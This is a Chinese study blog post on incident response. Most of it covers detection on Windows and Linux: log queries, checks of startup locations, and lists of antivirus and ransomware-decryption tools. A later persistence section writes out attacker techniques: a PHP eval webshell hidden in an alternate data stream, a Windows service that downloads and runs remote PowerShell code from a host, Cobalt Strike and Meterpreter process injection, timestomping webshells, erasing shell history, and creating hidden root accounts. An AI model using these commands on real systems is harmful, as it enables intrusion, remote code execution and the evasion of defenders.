应急响应学习

入侵检测

windows

一.账号,进程,自启

①检测账号

1.windows中直接分析

开 cmd 窗口,输入 lusrmgr.msc 命令进行查看有无可疑的账号
在这里插入图片描述
2.日志方法进行分析

“eventvwr.msc #事件查看器,且导出出Windows日志--安全
#利用Log Parser进行分析

典型命令

1、查询登录成功的事件

登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID  "SELECT *  FROM c:Security.evtx where EventID=4624"

指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID  "SELECT *  FROM c:Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"

提取登录成功的用户名和IP:
LogParser.exe -i:EVT  –o:DATAGRID  "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:Security.evtx where EventID=4624"
2、查询登录失败的事件

登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID  "SELECT *  FROM c:Security.evtx where EventID=4625"

提取登录失败用户名进行聚合统计:
LogParser.exe  -i:EVT "SELECT  EXTRACT_TOKEN(Message,13,' ')  as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:Security.evtx where EventID=4625 GROUP BY Message"
3、系统历史开关机记录:

LogParser.exe -i:EVT –o:DATAGRID  "SELECT TimeGenerated,EventID,Message FROM c:System.evtx where EventID=6005 or EventID=6006"

常用最后一个进行分析
在这里插入图片描述
3.D盾进行分析
利用D盾扫描后门类

②检测端口与进程–>(利用D盾直接检测更好)
1.检查端口(windows检测)
利用端口查看与端口转换

netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED
netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED

在这里插入图片描述
②.检测进程

没有签名验证信息的进程
没有描述信息的进程
进程的属主
进程的路径是否合法
CPU或内存资源占用长时间过高的进程

③查看启动项,计划任务,服务

1.查看启动项类

a.在任务管理器中,进行自启的进程(–>无发布者的和奇奇怪怪的直接关闭)
b.查看注册表
典型查看这三个注册表–>即启动的注册表

HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce 检查右侧是否有启动异常的项
目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。

2.检查计划任务
即任务计划程序中
进行查看
在这里插入图片描述
3.服务自启动
services.msc–>检测服务类型类
④检查系统目录类文件
a.C:\Users\目录
b.根据时间进行排序目录–>查找是否有可疑文件

二.工具查杀

`2.1 病毒分析`
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/
SysInspector:http://download.eset.com.cn/download/detail/?product=sysinspector
`2.2 病毒查杀`
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色版、最新病
毒库)
大蜘蛛:http://free.drweb.ru/download+cureit+free(推荐理由:扫描快、一次下载只能用1周,更新病毒库)
火绒安全软件:https://www.huorong.cn
360杀毒:http://sd.360.cn/download_center.html
`2.3 病毒动态`
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
`2.4 在线病毒扫描网站`
http://www.virscan.org //多引擎在线病毒扫描网 v1.02,当前支持 41 款杀毒引擎
https://habo.qq.com //腾讯哈勃分析系统
https://virusscan.jotti.org //Jotti恶意软件扫描系统
http://www.scanvir.com //针对计算机病毒、手机病毒、可疑文件等进行检测分析

webshell查杀

https://scanner.baidu.com/#/pages/intro

Linux

2.1 账号安全
基础使用

who 查看当前登录用户(tty本地登陆 pts远程登录)
w 查看系统信息,想知道某一时刻用户的行为
uptime 查看登陆多久、多少用户,负载

排查错误

1、查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
2、查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
4、禁用或删除多余及可疑的帐号
usermod -L user 禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
userdel user 删除user用户
userdel -r user 将删除user用户,并且将/home目录下的user目录一并删除

2.2 历史命令
history 即查看历史执行过的记录命令
2.3 检查异常端口与异常进程
异常端口–>利用netstat(网络连接命令)实现

netstat -antlp|more
查看下pid所对应的进程文件路径,
运行ls -l /proc/ P I D / e x e 或 f i l e / p r o c / PID/exe或file /proc/ PID/exefile/proc/PID/exe($PID 为对应的pid 号)

异常进程

ps aux | grep pid

2.4 检查开机启动项

runlevel   #查看运行级别命令

5个级别的五个区别

0 关机
1 单用户模式,可以想象为windows的安全模式,主要用于系统修复
2 不完全的命令行模式,不含NFS服务
3 完全的命令行模式,就是标准字符界面
4 系统保留
5 图形模式
6 重启动

设置运行级别与设置开机启动关联程序的方法

#设置开机的运行级别
vi /etc/inittab
id=3:initdefault #系统开机后直接进入哪个运行级别
#开机启动配置文件
/etc/rc.local
/etc/rc.d/rc[0~6].d
#因此配置-->开机自启配置软链接配置方法
ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh
#此处sshd是具体服务的脚本文件,S100ssh是其软链接,S开头代表加载时自启动;如果是K开头的脚本文件,代表运行
#级别加载时需要关闭的

2.5 检查目录
命令使用

more /etc/cron.daily/*   #查看目录下所有文件

典型目录

/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

2.6 检查异常文件

 find /opt -iname "*" -atime 1 -type f
 #找出/opt目录下一天前访问过的文件

2.7 检查系统日志

日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf

log日志下的文件典型内容
在这里插入图片描述
日志分析技巧

1、定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
| more
定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4]
[0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print
"$1\n";}'|uniq -c|sort -nr

2、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
3、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001,
home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure
4、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure
5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by
root(uid=0)
sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ;
COMMAND=/sbin/shutdown -r now

查找代码中的入侵后门

方法:
利用代码比对进行即可

典型工具
WinMerge
Beyond Compare

勒索病毒解密

典型网站

【360】 勒索病毒搜索引擎,支持检索超过800种常见勒索病毒,
http://lesuobingdu.360.cn
【腾讯】 勒索病毒搜索引擎,支持检索超过 300 种常见勒索病毒
https://guanjia.qq.com/pr/ls/
【启明】VenusEye勒索病毒搜索引擎,超300种勒索病毒家族
https://lesuo.venuseye.com.cn/
【奇安信】勒索病毒搜索引擎
https://lesuobingdu.qianxin.com/
【深信服】勒索病毒搜索引擎
https://edr.sangfor.com.cn/#/information/ransom_search

典型工具集

【腾讯哈勃】勒索软件专杀工具
https://habo.qq.com/tool/index
【金山毒霸】勒索病毒免疫工具
http://www.duba.net/dbt/wannacry.html
【火绒】安全工具下载
http://bbs.huorong.cn/forum-55-1.html
【瑞星】解密工具下载
http://it.rising.com.cn/fanglesuo/index.html
【nomoreransom】勒索软件解密工具集
https://www.nomoreransom.org/zh/index.html
【MalwareHunterTeam】勒索软件解密工具集
https://id-ransomware.malwarehunterteam.com/
【卡巴斯基】免费勒索解密器
https://noransom.kaspersky.com/
【Avast】免费勒索软件解密工具
https://www.avast.com/zh-cn/ransomware-decryption-tools
【Emsisoft】免费勒索软件解密工具
https://www.emsisoft.com/ransomware-decryption-tools/free-download
【Github项目】勒索病毒解密工具收集汇总
https://github.com/jiansiting/Decryption-Tools

日志分析

windows日志分析

①事件ID含义
在这里插入图片描述
利用4625的次数查看有无被爆破
②登录类型
在这里插入图片描述
日志分析工具进行分析
LogParser Lizard

Linux日志分析

常见的命令
grep命令
1.grep显示前后几行信息

标准unix/linux下的grep通过下面參数控制上下文:
grep -C 5 foo file 显示file文件里匹配foo字串那行以及上下5行
grep -B 5 foo file 显示foo及前5行
grep -A 5 foo file 显示foo及后5行
查看grep版本号的方法是
grep -V

2.grep 查找含有某字符串的所有文件

grep -rn "hello,world!"
* : 表示当前目录所有文件,也可以是某个文件名
-r 是递归查找
-n 是显示行号
-R 查找所有文件包含子目录
-i 忽略大小写

3.如何显示一个文件的某几行:

at input_file | tail -n +1000 | head -n 2000
#从第1000行开始,显示2000行。即显示1000~2999

4,查找指定文件

//在目录/etc中查找文件init
find /etc -name init

web日志分析

apache环境日志分析

1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l

权限维持

windows

①隐藏文件
1.文件属性隐藏文件
完全隐藏文件(显示方法–>在文件夹选项中进行关闭隐藏即可)

attrib +s +a +h +r D:\test\project\test .txt

2.利用ADS隐藏文件

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

即产生了shell hidden.jpg(产生一个木马)
②账号隐藏
启用guest账号,且给其加Administrator权限
③进程注入

1.meterpreter会话注入
migrate PID端口 -->即可注入
在这里插入图片描述
2.cs注入
选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话
就是成功注入到某进程的beacon。
在这里插入图片描述
在这里插入图片描述

即注入成功

后门维持

1.注册表后门
常用

# Run键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
类似的还有很多,关键词:注册表启动键值。

2.组策略设置脚本启动
运行gpedit.msc进入本地组策略
在这里插入图片描述
在这里插入图片描述
添加完整路径即可–>

如 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

3.计划任务制作后门

4.服务自启动
建立自启动服务

sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
sc description KeyName "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务

5.远程控制

Linux

①隐藏文件

touch .test.txt #加了一个点即为隐藏文件

②隐藏时间

#将时间设置为index.php的时间
touch -r index.php webshell.php
#或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php

③隐藏权限

chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件

④隐藏历史记录
1.删除指定记录

从历史记录中删除指定的命令
history | grep "keyword"
删除历史记录中的数字
history -d [num]

在这里插入图片描述
⑤隐藏远程ssh登录记录
隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@127.0.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

维持–>后门

1.添加用户和密码

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

添加root用户:

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -
d /home/test
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值